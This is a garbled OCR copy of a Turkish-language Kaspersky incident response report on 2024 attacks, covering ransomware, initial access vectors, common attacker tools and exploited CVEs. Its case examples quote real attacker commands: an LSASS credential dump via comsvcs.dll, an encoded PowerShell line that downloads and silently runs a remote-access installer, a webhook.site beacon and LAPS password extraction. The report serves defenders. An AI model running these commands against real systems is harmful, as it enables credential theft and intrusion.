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Yonetici 6zeti

Genel bakis ve oneriler

& 2024 ylinda, saldirganlar tarafindan hedeflenen altyapiya En popller araclar 2024'te
q erismek i¢in kullanilan gecerli hesaplarin kullaniminda belirgin bir dikkat ¢ekiciydi

' artig gorduk. Bu durum, saldirilarda kullaniimak Gzere bu verileri

karanlk agda satan llk Erisim Aracilari (IAB'ler) tarafindan daha

| fazla sirketin hedef alindigini gosteriyor. Hizmet Olarak Fidye

| Yazilimi (RaaS) baglaminda, IAB'ler siber suglularin saldirilarini
kolaylastirmalarinda temel bir rol oynamaktadir. Bu durum,
bu kurbanlarin zaten tehlikede oldugunu ve kimlik bilgilerinin
fark edilir bir etki olmaksizin sizdirldigini gostermektedir. Bu
da sik sik yapilan tehlike degerlendirme faaliyetlerinin dnemini
2 vurgulamaktadir.

43 & Son birkag yildir degismeyen bir trend de fidye yazilimlaridir.

Bir onceki yil %33,3 olan olaylarin %41,6's1 2024 yilinda bu tur bir
tehditle ilgiliydi. Fidye yazilimlari, ongorulebilir gelecekte dunya
genelindeki kuruluslar igin birincil tehdit olmaya devam edecek
gibi gorunuyor. Mimikatz %22

€ Bulasmalarin %43,6'sindan LockBit sorumlu olurken, onu %91 ile
Babuk ve %5,5 ile Phobos takip etti. 2024 yilinda ShrinklL.ocker
ve Ymir gibi yeni fidye yazilimi aileleri de ortaya c¢ikti.

& Mimikatz (%21,8) ve PsExec'in (%20,0) yaygin kullanimi da 2024
. yllinda dikkat ¢ekti. Bu araglar genellikle istismar sonrasi sifre
e clkarma ve yanal hareket icin kullanilir.

GERT tarafindan kegfedilen yeni tehditler

Ekibimiz 2024 yilinda ShrinkLocker' ve Ymir? gibi yeni kotd amagl yazilm
ailelerinden Tusk?® gibi sofistike kampanyalarin ortaya ¢ikariimasina ve
buyuk olgekli bir CVE-2023-48788# kullanimina kadar birgok dnemli ve
ilging kesifte bulundu. Olay mudahale ¢alismalari sirasinda uzmanlarimiz, PsExec %20
sizdiriimis LockBit 3.0° olusturucusunu ve Elpaco-Mimic varyantini®

kullanan saldirganlari da tespit etti.

APT aktiviteleri

Bilinen gruplar tum saldirilarin %26,3'tnden sorumludur. Bunlarin Ugte biri (%31,7) belirli bir gruba atfedilememistir.
BlackJack saldirilarin %9,8'ini olusturarak en aktif grup olurken, GREF, DarkStar ve CloudAtlas da her biri %5
civarinda bir oranla 6ne cikmistir. Hedefli saldirilardan en ¢cok etkilenen sanayi kuruluslari %26,8, finans kuruluglari
%19,5 ve devlet kurumlar %19,5 oraninda saldirtya ugramistir.

1 SecurelList. ShrinkLocker: BitLocker'i 2 Securelist. Ymir: gercek diinyada 3 Securelist. Tusk: Karmasik bir bilgi
fidye yazilimina dénlstirme yeni gizli fidye yaziimi hirsizig kampanyasini ¢ézmek
4 Securelist. Saldirganlar 5 Securelist. Hedefli fidye 6 Securelist. Elpaco'nun Analizi:
yamalanmis bir FortiClient EMS yazilimi olusturmak icin LockBit: Bir Mimic varyanti
guvenlik agigindan aktif olarak olusturucuyu kullanma e
yararlaniyor A ¢ -4
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https://securelist.com/tusk-infostealers-campaign/113367/
https://securelist.com/elpaco-ransomware-a-mimic-variant/114635/
https://securelist.com/ransomware-abuses-bitlocker/112643/
https://securelist.com/new-ymir-ransomware-found-in-colombia/114493/
https://securelist.com/lockbit-3-0-based-custom-targeted-ransomware/112375/
https://securelist.com/patched-forticlient-ems-vulnerability-exploited-in-the-wild/115046/

Iris

Bu analiz raporu, 2024 yilinda Kaspersky tarafindan arastirilan siber saldirilar hakkinda bilgiler icermektedir.
Kaspersky, bilgi glivenligi olaylarindan etkilenen kuruluslara yardimci olmak icin olay mudahalesi, dijital forensik,
kotu amacl yazilim analizi gibi genis bir hizmet yelpazesi sunar. Bu raporda kullanilan veriler, olaylara mudahale
konusunda yardim isteyen veya kendi i¢ olaylara mudahale ekipleri icin profesyonel etkinlikler gerceklestiren
kuruluslarla yapilan ¢calismalardan elde ediimistir. Olay inceleme ve mUdahale hizmetleri, Kaspersky'nin Rusya,

Avrupa, Asya, Amerika, Orta Dogu ve Afrikadaki uzmanlardan olusan Kuresel Acil Durum MUdahale Ekibi (GERT)
tarafindan saglanmaktadir.

Istatistikler, ekonominin cesitli sektérlerinde ve bdlgelerde kuruluslara yonelik en alakali tehditlere iliskin egilimleri
belirlememize yardimcei olmaktadir. Bu, oncelikli koruma yontemleri gelistirmemizi ve uygulandiginda kuruluslarin
guvenlik seviyelerini artirmalarina ve gelecekte olaylara karsi hazirlikl olmalarina yardimci olacak, saldirilardan
kaynaklanan zarari dnleyecek veya en aza indirecek oneriler formule etmemizi saglar. Ayrica bize bdlgelere ve
sektorlere gore degisen tehdit ortamina dair bir tablo sunar.
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Kaspersky Incident Response Hakkinda

Kaspersky Incident Response (IR), glivenlik olaylarinin kapsamli ve ayrintil bir analizini saglar. Hizmet, ilk mudahale,
kanit toplama, birincil saldiri vektorunu belirleme ve bir hafifletme plani gelistirme dahil olmak Gzere tlm sorusturma
ve mudahale surecini kapsar. Kaspersky Security Services'In’ ayrilmaz bir par¢asidir ve kurulusunuzun tehditleri
guvenle kontrol altina alip etkisiz hale getirecek donanima sahip olmasini saglar.

Gelecekteki etki igin kalicilik Givene Dayali Herkese Acik Uygulamalari
saglandi - %11 lliski - %13 Kotliye Kullanma - %39 Veri sizintisi - %17

Gegerli Heéaplar -.%31 Sifrelenen dosyalar - %42


https://www.kaspersky.com.tr/enterprise-security/cybersecurity-services

IR hizmet taleplerinin cografyasi

2024 yilinda hizmet kapsaminin cografyasinda bir degisim meydana gelmedi. Orta Dogu bolgesi, olay mudahale
talepleri agisindan %15,7'lik bir oranla ikinci siraya yUkselirken, Amerika kitasi dordincu siraya geriledi. CIS8, taleplerin
%90,6'sl ile baskin konumunu koruyor ve buylUmeye devam ediyor.

EFF Sekil 1 | 2024'te Kaspersky Incident Response hizmetlerine yénelik taleplerin cografyasi

B Ciss ¥ OrtaDogu [ Avrupa Amerika Kitasi Asya-Pasifi Afrika
2024 - %50,6 2024 - %15,7 2024 - %10,8 2024 - %10,2 2024 - %73 2024 - %5,4
2023 - %47,3 2023 - %109 2023 - %91 2023 - %21,8 2023 - %3,6 2023 - %7,3
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https://www.kaspersky.com/enterprise-security/contact-investigation?icid=irreport

Sektorler

Farkli sektorlerdeki talep istatistiklerine de yansidigl Uzere, gunUimuzde her kurulus siber saldirilara karsi
savunmasizdir. Gegen yil bize en ¢cok sanayi, kamu ve finans sektérleri ulastli. Bunun en buyuk nedeni, bu
kuruluslarin daha fazla ¢alisana ve daha yuksek dlzeyde bilgisayar kullanimina sahip olma egiliminde olmalari
ve bunun da saldir yuzeylerini artirmasidir. Sonug olarak, hem saldirilara daha agik hem de siber suglular igin
daha cazip hedeflerdir.

Sekil 2

FF eaw, 1 Kaspersky Incident Response hizmetleri icin gelen taleplerin
B~ ... & sektoregbre dagiimi
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Organizasyonel olgunluk

Kurumlarin Kaspersky Incident Response hizmet taleplerinde bulunma nedenlerine daha ayrintili olarak baktigimizda,
bunlari iki gruba ayirabiliriz.

Grup | Grup Il
(sebepler ve etki, talep sirasinda zaten (sUpheli faaliyet gostergeleri olan saldirilar)
biliniyordu) _ o

Bu magdurlar genellikle bir saldir gerceklestikten ve Analizimizin sonuglarina gore, bu stpheli faaliyetlerin
hasar belirgin hale geldikten sonra saldirinin farkina variriar. etkileri asagidaki gibidir:
T = S A T ) = 1 S = )
Sifrelenen dosyalar %41.6 Gelecekteki etki icin kalicilik saglandi %10.7
Veri sizintisi %16.9 Active Directory ele gegirildi %9.6
Tahrifat %1.7 Hicbiri (Yanlis alarm) %5.6
Para hirsizlig %0.6 Hesabin ele gegiriimesi %4.5
Hizmet kullanilamiyor %0.6 (Saldir engellendi veya tamamlanmadi) %4.5
Veriimhasi %3.4
Veri manipulasyonu %0.6

Elbette bu olaylardan bazilari potansiyel olarak daha

ciddi olaylara da dénusebilir. Bunlari saldirinin daha

erken bir asamasinda tespit etmek, etkilerini en aza
N indirmeye yardimci olur.

P Olay Mudahalesi analist raporu 2024



aldiri suresi

Saldiri suresi

Tdm olay vakalari, farkl saldirgan bekleme sureleri, olay mtdahale suresi, ilk erisim ve saldiri etkisi ile U¢ kategoride gruplandirilabilir.

Y
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Hizh

(Saatler ve glnler)

Olgun guvenlik operasyonlariicin bile

en buyUk zorlugu olusturan yutksek hizl
fidye yazilimi saldirilari. Cok fazla sorun
¢lkaran saldirgan davraniglari gogunlukla
kolay hedef niteligindeki, herkese agik ve
kolayca tanimlanabilir glivenlik sorunlari
uzerine insa edlilir

Baslangic vektori

Ortalama
(Haftalar)

Fidye yazilimlari birgok saldiryr daha hizl
olanlardan ayirt edilemez hale getirmistir
(Yogun saldirilar). Bu gruptaki birgok
vakada, ik erisim ile saldirinin sonraki
asamalari arasinda 6nemli bir gecikme
vardr.

Gecerli hesaplar

Saldirilarin ylzdesi

Uzun dmurld
(Bir ay veya daha fazla)

Saldir sirasinda aktif ve pasif asamalarin
duzensiz dénemleri. Aktif asamalarin
suresi onceki (Ortalama) gruba ¢ok
benzerdir.

~—y

Herkese Acik Uygulamay!
Kotuye Kullanma, Guvenilir lliski

%44.5

Ortalama slire (medyan)

Herkese Acik Uygulamayi
KotUye Kullanma, Guvenilir lliski,
Gecerli Hesaplar

<1gln

Olay Mudahale siresi (medyan)

33 saat

Etki

Sifrelenmis veriler
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Sifrelenmis veri ve para hirsizlig

Sifrelenmis veri ve veri sizintisi




ArA

Hizmet talebinde
bulunma nedenleri

izmet talebinde bulunma nedenleri

7 $:k"‘;’3 —% Bolgelere gore Kaspersky Incident Response hizmetlerini talep
b . . & etmenedenleri

%5.1
| %511

%11.1

%3.5

%2.5 o %05
%2.5 %1. 00,
P %1.0 o0
%23.2 : 212 ‘(? s %15 %0,5 o %0,5
X %1:0 mmers— 700.5 %1,0 T ‘Z%S é’g‘g
._ '1-' fzg fatem—— ., _ %4.0 : : " %10 m— %0'5
. %2, %1.0 %2.0 %6. %1.0 SN 92.0
BRI %2.0 SRR .o R 0 SR 0o SRR .05 RN oo
CIS Orta Dogu Avrupa Amerika Asya ve Pasifik Afrika
Hesabin ele Yetkisiz Veri Sifrelenmis Para Gvenlik Slpheli e-posta Supheliug Supheli dosya Supheli
gecirilmesi erisim sizintisi dosyalar hirsizhg aracl uyarisi mesaji nokta etkinligi ag etkinligi
Gercek pozitifler Yanlig alarmlar
= —~ e =) e e+ oY =
Sifrelenen dosyalar %389 SUpheli ag etkinligi %429
Supheli ug nokta etkinligi %18.2 Slipheli ug nokta etkinligi %35.7
SUpheli dosya %101 Sipheli dosya %71
Supheli ag etkinligi %10.1
Supheli etkinlikler, ag icinde bir saldirganin varligina
Verisizintisi %6.6 isaret edebileceginden, 2024 yllinda en yaygin talep
nedenleri arasinda yer almistir. Diger taraftan, supheli
Yetkisiz erigim %5.6 etkinlikler yanlis alarmlarin da ana kaynagidir. Buna
ragmen, gercek saldirilarin gbzden kaciriimamasini
Giivenlik araci uyarisi %5.6 §aglqmak icin tum sUpheli etkinliklerin arastirimasini
oneriyoruz.
SUpheli e-posta mesaji %1.5 i
Para hirsizlig %0.5

Olay Mudahalesi analist raporu 2024




Ik saldir vektori

k

ik saldiri vektéri

Herkese acik uygulamalar uzun yillardir saldirilarin ana baslangi¢ vektdra olmustur. 2024 yilinda, vakalarin %39,2'sini
olusturarak bir kez daha ilk sirada yer aldilar. Glvenilir iliskiler 2023'e kiyasla artis gdstermis ancak %12,8 ile tguncu
sirada kalmistir. Gegerli Hesaplar %31,4 ile ikinci en yaygin vektor olma konumunu korumustur. Ayrica, kimlik avinin

yaygin bir baslangi¢ vektort olmaya devam ettigini ve neredeyse her 10 vakadan birinde kullanildigini da gdzlemledik.
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Hesabin ele
gegirimesi

. Active Directory
ele gegirildi

' Veriimhasi

Veri sizintisi

' Veri

manipulasyonu

M Tahrifat

Sifrelenmis
dosyalar

Gelecekteki
etkiigin kalicik
saglandi

ilk saldir vektdrii ve ortaya gikan etki

Kamuya Acik
Uygulamalardan
Yararlanma
Gegerli hesaplar
Guvenilir iligki

Kimlik avi

Harici uzak hizmetler

Cikarilabilir medya
araciliglyla cogaltma

iceriden kisiler

Diger

AaZO %3.9 %1.0 %7.8 %2.0

%2.0 %29 %1.0 %5.9

=

%1.0%1.0 %2,0 %2.9 %39 %2.0

%12.7
%29 %20 %29 %1.0 %1.0
., %9.8
%3.9
%3.9
%1.0
%1.0
%1.0
n %1.0
%1.0
%1.0

%6.9
%39.2

%2.0
%31.4

Bu istatistiklere dayanarak, saldirganlarin basglangi¢ vektoru ne olursa olsun, tespit suresinin oncelikle kurulugun
bilgi glivenligi duzeyinden etkilendigi sonucuna varilabilir. Ornegin, en populer vektorleri kullanan saldirilar birkag
gunden birka¢ aya kadar tespit edilemeyebilir.

J

L pe $ek|I ol

Gin

ilk erisim ve saldiri siiresi

Kamuya Acik

Uygulamalardan Yararlanma

N Ay
. Hafta

Yil

Sesainataphs R ——

Guvenilir iligki

Kimlik avi

Harici uzak hizmetler

Kullanici k6t amagli dosya

indirdi ve ¢calistirdi

Cikarilabilir medya
araciliglyla cogaltma

Diger
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%2.6 %1.3 %1.3
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%13

%7.7 %7.7
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Saldirganlarin
araglari

aldirganlarin araclari

Neredeyse tUm arastirmalarda, saldirganlar saldirilarinin ¢esitli asamalarinda mesru araclar kullanirlar. Farkl saldirgan
gruplari genellikle kendilerini tanimlamak i¢in kullanilabilecek kendi ara¢ setlerini kullanirken, Mimikatz veya PsExec
gibi yaygin olarak kullanilan araglar neredeyse tUm saldirganlar tarafindan parola ayiklama ve somurme sonrasi
yanal hareket icin kullanilabilir.

Olaylarda kullanilan araglarin dagilimi ve yayginlig

= N —

Sik, %8-22 Ortalama, %4-8 Nadir, %1-4
~v
ProcDump  PowerShell BloodHound  Process Hacker
Impacket ADRecon gs-netcat Nmap NSSM WMIC
_ Ngrok Gelismis Port Tarayici Chisel DiskCryptor =~ gmerexe  Remcom
Geligmis IP Tarayici netscan.exe LaZagne

Saldirganlar en yaygin olarak uzaktan kontrol, savunmadan kagma ve kurbanin altyapisini kesfetmek icin bir dizi
yardimci program kullanir.

el ve %18.9 SSH gs-netcat (Revsocks (Gost (Cloldfiared 'RDP PuTy. TacticalRMM
T
Savunmaci %18.3 Chisel  Process Hacker Localtonet gmer Kavremvr Tor FRP HRSword
=t nme PCHunter lObitUnlocker Neo-reGeorg Defender Control TDSSKiller
e
NetScan  Gelismis Port Tarayici Geligmis IP Tarayici
Bulma %15.2
ADRecon FScan BloodHound 'Nmap LANSearchPro Herseyicin PingCastle adPEAS
~v
i RS CGIeR  PowerShell SMBExec WMIC NSSM Wmiexec MeshAgent Remcom
Yirttme %12.2 R
WSO WebShell ATExec WinSW  PAExec
~ v
Kimlik bilgileri %16 ProcDump  SecretsDump LaZagne CredentialsFileView Nanodump
3L WebBrowserPassView XenAllPasswordPro  Gosecretsdump grabFF
S
Etki %9.8 BitLocker DiskCryptor Eraser WipeDisk SDelete
Toplama %49 7zip WIinRAR 7z Adminer SharpHound Raw Copy FileZilla
g
Yanal hareket %3.7  Impacket CobaltStrike PowerSploit Metasploit NXC Havoc
Sizdirma %3.7 Rclone WinSCP WinGet Wget MEGASync
NG
er[rl:’cﬁfrl]llglsa:rln %1.8 Invoke-sAMSpoofing EfsPotato  JuicyPotato

Olay Mudahalesi analist raporu 2024
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Saldirganlarin
araglari

Gercek vakalarda kullanim araclarina ornekler

Fidye Yazilimi Saldirisi: Dosya ve dizin kesfi
ID: T10837 Taktik: Kesif

Saldirndan sonra LockBit fidye yazilminin arkasindaki tehdit aktorleri, bir dosya sunucusuna erismek icin ele gegiriimis
kimlik bilgilerini ve RDP"yi kullandi ve belirli anahtar kelimeler ve tarihler iceren dosyalari belirlemek icin Dosya Gezgini
aramalarini kullandr:

"Kis1tli" OR ="Gizli" OR ="Private" OR ="Operasyonel ve Envanter" OR ~="Finans" datemodified: 1/1/2022..today

"Bakiye" datemodified: 1/1/2022..today

"ssn" OR ="Kisitli" OR ="Gizli" OR ="Private" OR ~="Operasyonel ve Envanter" datemodified: 1/1/2022..today

"tax" OR ="Gelir Tablosu" OR ="Bakiye" OR ="Nakit" OR ="Finansal Dipnotlar" OR ="Tazminatlar" OR ="Miisteri Bilgileri" OR
="Galisan Verileri" OR ~="Fikri Miilkiyet" datemodified: 1/1/2022..today

Saldirganlar bu filtreleri kullanarak dosya sunucusundaki kritik dosyalari tespit etmis ve kurbani 6deme yapmaya
zorlamak amaciyla bilgileri disar sizdirmak igin bir zip dosyasi olusturmustur.

izinsiz Giris: Hesap Bulma - Alan Adi Hesabi
ID: T1087.002°  Taktik: Kesif

Tehdit aktorU, altyapiya erisim sagladiktan sonra PowerShell'i kullanarak bir dizi talimat yuruttu:

4 Active Directory'yi ydnetmek i¢in ek moduller yuklemek:

ice Aktarma Modiilii ActiveDirectory

Yiikleme Modilii ActiveDirectory

Register-PSRepository -Name "PSGallery" -SourceLocation "https://www.powershellgallery.com/api/v2/" -InstallationPolicy
Trusted

Set-PSRepository -Name "PSGallery" -InstallationPolicy Trusted

Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force

Register-PSRepository -Default -InstallationPolicy Trusted

Install-Module -Name ActiveDirectory -Force

& Alan hesaplarini yonetme:

Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose
Unlock-ADAccount -Identity "<edited>"
Get-LAPS

4 Belirli modullerin kurulup kurulmadigini onaylama:

gc "c:\program files\LAPS\CSE\Admpwd.dl1l"
& Etki alani denetleyicileri ve ayricalikll hesaplar hakkinda bilgi alma:

$laps = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-
AdmPwdExpirationTime -Server <edited> | ? {$.'ms-Mcs-AdmPwd'} | select Name,ms-Mcs-
AdmPwd,@{label="ExpDate";Expression={([datetime]::FromFileTime([convert]::ToInt64($.'ms-
Mcs-AdmPwdExpirationTime')))}}

nltest /domain_controllers

nltest /dclist

nltest /dclist:<domain_edited>

Import-Module AdmPwd.PS

9 T1083: Dosya ve Dizin Bulma 10 T1087.002: Hesap Bulma:
Alan Adi Hesabi

., T
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Saldirganlarin
araglari

izinsiz giristen sonra otomatik hizmet kurulumu:
Isletim Sistemi Kimlik Bilgileri Dokimu

ID: T1003™ Taktik: Kimlik Bilgilerine Erigsim

Altyapliya eristikten sonra, gesitli gruplar gorevleri yapilandirmak veya hizmetleri yuklemek igin otomatik komut
dosyalari dagitir. Bu durumda, tehdit aktort bellek dokUmu icin bir hizmet yUklemis ve LSASS hizmetinden ayrintilari
cikarmistir. Belirli glvenlik ¢cozumlerinden kaginmak icin, burada aciklandigi gibi &zel bir karakter iceren ilging bir teknik
kullandilar: https://github.com/login-securite/Isassy/blob/master/lsassy/dumpmethod/comsvcs.py

%COMSPEC% /Q /c cMD.eXE /Q /c for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find
"lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000"24 "%B \Windows\Temp\<random_name>.tar full

CVE-2023-48788'i tanimlamak ve istismar etmek i¢in Bliytk Tarama: RRM kullanarak kalicilik
ID: T1219"2 Taktik: Komut ve Kontrol

FortiClient EMS'nin internete acgik olan savunmasiz bir surimunu tespit ettikten sonra, birden fazla tehdit aktoru
RMM aragclarini (uzaktan izleme ve yonetim) ve k&tu amagli yazilimlart kullanarak uygulamalari yUkledi ve tehlikeye
atilan altyapida kalicilik kazandi. GERT, bu saldirilar sirasinda konuslandirilan ve bu yamalanmamis gtivenlik
acigindan yararlanan birden fazla yUkun varligini analiz etmis ve dogrulamistir®®,

Guvenlik acigindan yararlandiktan sonra saldirganlar, ScreenConnect gibi bir uzaktan yonetim aracinin
yuklenmesini kolaylastirmak icin istismar edilen sistemde bir PowerShell komutu yapilandirdi:

POWERSHELL.EXE -COMMAND ""ADD-TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.
HTTPUTILITY]::URLDECODE("""%63%75%72%6C%20%2D%6F%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65%20%22%68%74%74%:70%73%3A%2F % 2F
%699%6E%665697%6E%697%747579%2E7%73%637:72%65%65%6E%637%6F %6E%6E %6576 3%74%2E %6 3%6F 756D%2F 7642%69 % 6E%2F 9653%6 3757 276 5% 6 5% 6E%4 3% 6 F %
6E%6E%65%63%74%2E%43%6C%69%65%6E%747%53%65%749:75%70%2E%65%789%65%3F %65%3D%41%63%6 3%65%7 3%73%269%79%3D%47 %75%65%7 3%747%22%20
%26%20973%74%61%72%74%20%2F%42%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65"""))"""

Desifre edilen yaz su adrese gidiyor:

curl -o C:\update.exe "https://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest" & start /B
C:\update.exe

GERT'in analizi ayrica saldirganlarin savunmasiz hizmetleri belirlemek icin webhook.site kamu hizmetini kullandiklarini
dogruladi. Bir istek gbndererek, herhangi bir uygulama yUklemeye gerek kalmadan hizmetin glivenlik acigi olup
olmadigini belirleyebiliyorlardi. Bu uygulama &zellikle numaralandirma sirasinda kullaniimak icindir ve kalicilik saglamaz:

POWERSHELL.EXE -COMMAND ""ADD-

TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%70%6%£%77%65%72%73%68%65%6c%6C%20
%2d%63%20%22%69%77%72%20%2d%55%72%69%20%68%74%:74%70%73%3a%2£%2£%77%65%62%68%6 £7%6 £7%6b%2e%73%69%74%65%2£%32%37%38%66%58%
587%587%587%2d%63%61%33%62%2d[[REDACTED]%2d%397%36%65%34%2d%58%58%58%58%34735%617:617:36%387%:307%397%207%2d%4d%65%747687%6 £ 7564720 -
%50%61%73%74%20%2d%42%6£%64%79%209%27%74%65%73%74%27%20%3%20%24%6€%75%6C%6c%22"""))""

Sifre ¢cozuldugunde, son bir PS1komutu iceren bir komut zinciri ortaya cikti.

cmd.exe -> POWERSHELL.EXE -> CMD.exe -> powershell -c "iwr -Uri hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX-
45226809 -Method Post -Body 'test' > $null"

T1003: isletim Sistemi Kimlik 12 T1219: Uzaktan Erisim Yazilimi 13 Securelist. Saldirganlar yamalanmig
Bilgisi Dokimu bir FortiClient EMS glivenlik acigindan

aktif olarak yararlaniyor

Olay Mudahalesi analist raporu 2024
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En sik rastlanan
guvenlik agiklari

n sik rastlanan guvenlik aciklari

Asagidaki semada, 2024 yilinda istismar edilen dnceki yillara ait glvenlik agiklari gdsterimektedir. 2024'te saldirganlar

tarafindan istismar edilen guvenlik aciklarinin %20'Indan fazlasi bir yildan daha uzun bir sure dnce yayinlanmistir;

bu da saldirlya ugrayan kuruluslarin etkisiz gincelleme politikalarina sahip oldugunu gdstermektedir.

$ekll 6 J‘. 2024'te istismar edilen énceki yillara ait glivenlik agiklar
%29.2
Kullanilan

guvenlik agiklar

%20.8

%16.7

%8.3 %8.3 Bl %8.3

%4,2 %4,2

2016 2017 2019 2020 2021 2022 2023 2024

Veri setimizde 2024 yili icin bulunan en yaygin guivenlik agiklart CVE-2016-0099, CVE-2017-0176, CVE-2019-1458,
CVE-2020-1472, CVE-2020-0688, CVE-2020-0787, CVE-2021-42287, CVE-2021-34523, CVE-2021-34473 ve
CVE-2023-29357 gibi Microsoft urtnleriyle (Windows, Exchange, Active Directory, SharePoint) ilgiliydi. Ayrica
OpenSSH sunucusunda (sshd) CVE-2023-38408, CVE-2024-6387 (regreSSHion olarak da bilinir) ve CVE-2024~
6409 glvenlik aciklarinin sayisinda belirgin bir artis tespit ettik. Cisco 10S XE yazilimi Web Ul'yi (CVE-2023-20273
ve CVE-2023-20198) hedef alan glvenlik aciklari da tespit ediimistir.

Olay mudahale galismalari sirasinda tespit ettigimiz guvenlik agiklarinin yaklasik %40't Uzaktan Kod Calistirma
(RCE) ile sonuglanirken, esit bir oran da Ayricalik YUkseltme istismarlariyla baglantilidir. Bu kategorilerdeki yUksek
ve kritik guvenlik aciklarinin dnemli bir kisminin GitHub ve Exploit-DB gibi platformlarda kamuya acik kavram
kanitlari (PoC) bulunmaktadir. Bu da saldirganlarin erisim saglamasini ve farkli ortamlar arasinda yanal hareketler
gerceklestirmesini kolaylastirir.

Tekrarlanan Ortak Zayiflik Numaralandirma (CWE) kategorileri arasinda, CWE-120 (Klasik Arabellek Tagsmasi),
CWE-269 (Hatall Ayricalik Yonetimi), CWE-287 (Hatall Kimlik Dogrulama) ve CWE-918'in (Sunucu Tarafi Istek
Sahteciligi - SSRF) en yaygin olanlar oldugunu gorduk. Bunlarin hepsi glvenli kodlama uygulamalari (statik kod
analizi ve otomatik dinamik analiz gibi) kullanilarak énlenebilecek glvenlik agiklaridir. Bu durum, gelistiricilerin
gelistirme yasam dongusunun her asamasinda guvenlige oncelik vermelerinin ve glvenli, tasarima gore gizlilik
ilkelerini benimsemelerinin Gnemini vurgulamaktadir. Buna ek olarak, musteriler duzenli gincellemeleri ve guvenlik
yamalarinin zamaninda uygulanmasini saglamalidr.

Olay Mudahalesi analist raporu 2024 16
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PoC kullanilabilir - Microsoft Windows (ikincil Oturum Acma Hizmeti)

‘CVE-2016-0099 | CVSS7.8HIGH | CWE-120

Ayricaliklarin Arttiriimasi

Microsoft Windows (gpkcsp.dll)
CVE-2017-0176  CVSS8.1HIGH | | CWE-120

Uzaktan Kod Calistirma (RCE)

PoC kullanilabilir - Microsoft Windows (Win32k)
CVE-2019-1458

Ayricaliklarin Arttiriimasi

CVSS 7.8 HIGH CWE-1219

PoC kullanilabilir - Microsoft Windows (Netlogon)
' CVE-2020-1472

Ayricaliklarin Arttiriimasi

CVSS10.0 CRITICAL | CWE-330

PoC kullanilabilir - Microsoft Exchange Server
CVE-2020-0688
Uzaktan Kod Calistirma (RCE)

CVSS 8.8 HIGH CWE-287

MS16-032 olarak da bilinen ikincil Oturum Acma Hizmetindeki bir glivenlik
acigl, yerel kullanicilarin hazirlanmis bir uygulama araciligyla ayricalik
kazanmasina olanak tanir.

Microsoft Windows XP (SP3'e kadar) ve Server 2003'te (SP2'ye kadar) gpkcsp.
dll dosyasindaki Akill Kart kimlik dogrulama kodundaki bir arabellek tasmasi, hedef
bilgisayar bir Windows etki alaninin pargasiysa ve Uzak Masaustu Protokolu
(veya Terminal Hizmetleri) etkinse, saldirgan tarafindan uzaktan kod galistirimasina
olanak tanir.

~y

Guvenlik agigl, kotu niyetle hazirlanmis bir dosyayi islerken uygulamadaki
bir hatadan kaynaklanir ve uzaktaki bir saldirganin savunmasiz sistemlerde
ayricaliklarini artirmak icin potansiyel olarak yararlanmasina olanak tanir.

~r—y

Bir saldirgan Netlogon Remote Protocol (MS-NRPC) kullanarak bir etki alani denetleyicisine
savunmasiz bir Netlogon guvenli kanal baglantis| kurdugunda ortaya ¢ikan bir ayricalik
yUkseltme glvenlik agig. Bu guvenlik agigindan yararlanmak, bir saldirganin bir ag
cihazinda &zel olarak hazirlanmis bir uygulama galistirmasina olanak tanir.

~y

Microsoft Exchange'de bellekteki nesnelerin hatall islenmesi nedeniyle ortaya
Glkan bir uzaktan kod galistirma glvenlik agig.

~y

PoC kullanilabilir - Microsoft Windows (Arka Plan Akilli Transfer Hizmeti - BITS)

CVE-2020-0787 CVSS78HIGH | [ CWE-59

Ayricaliklarin Arttiriimasi

Windows Arka Plan Akilll Aktarim Hizmetinde (BITS) ayricalik yukseltme
guvenlik agigl.

~—y

PoC kullanilabilir - Microsoft Active Directory Etki Alani Hizmetleri

CVE-2021-42287 CVSS88HIGH | [ CWE-269

Ayricaliklarin Arttiriimasi

PoC kullanilabilir - Microsoft Exchange Server

CVE-2021-26855 | CVSS9.8CRITICAL | CWE-918
Uzaktan Kod Calistirma (RCE)
Microsoft Exchange Server
'CVE-2021-31207 | CVSS6.6MEDIUM | CWE-434

Giivenlik Ozelligi Bypassi

Olay Mudahalesi analist raporu 2024

Active Directory Etki Alani Hizmetleri ayricalik yUkseltme glvenlik agig, bir
saldirganin standart bir etki alani kullanicisindan bir etki alani yoneticisinin
kimligine burdnmesine olanak tanir.

~r—y

Microsoft Exchange Server'da bir saldirganin kimlik dogrulamasini atlamasina
ve yoneticiyi taklit etmesine olanak taniyan guvenlik agigi.

Uzak bir saldirganin Microsoft Exchange
Server'in savunmasiz kurulumlarinda
rastgele kod ¢alistirmasina izin verir. En kotu
senaryoda, saldirgan SYSTEM baglaminda
rastgele kod calistirabilir.

17
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PoC kullanilabilir - Microsoft Active Directory Etki Alani Hizmetleri

CVE-2021-42278

Ayricaliklarin Arttiriimasi

CVSS75HIGH | CWE-269

PoC kullanilabilir - Microsoft Exchange Server
'CVE-2021-34523

Ayflcallklarln Arttiriimasi

CVSS 9.8 CRITICAL | CWE-287

Active Directory Etki Alani Hizmetlerindeki bir ayricalik yukseltme guivenlik
acIgl, standart bir etki alani kullanicisinin bir etki alani yoneticisinin kimligine
bdrdnmesine olanak tanrr.

Microsoft Exchange Server'da PowerShell remoting isteklerinin yanlis
dogrulanmasi sonucu ortaya ¢ikan bir ayricalik yUkseltme guvenlik agig.

~r—y

PoC kullanilabilir - Microsoft Exchange Server (Otomatik Kesif)

'CVE-2021-34473 [ CVSS9.8CRITICAL [ CWE-918
Uzaktan Kod Calistirma (RCE)

Bitrix Site Manager

'CVE-2022-27228 [ CVSS 9.8 CRITICAL | CWE-20

Uzaktan Kod Calistirma (RCE)

PoC kullanilabilir - Veeam Backup & Replication
CVE-2023-27532
Eksik Kimlik Dogrulama

CVSS 7.5 HIGH CWE-306

PoC kullanilabilir - OpenSSH (ssh-aracisi)
CVE-2023-38408
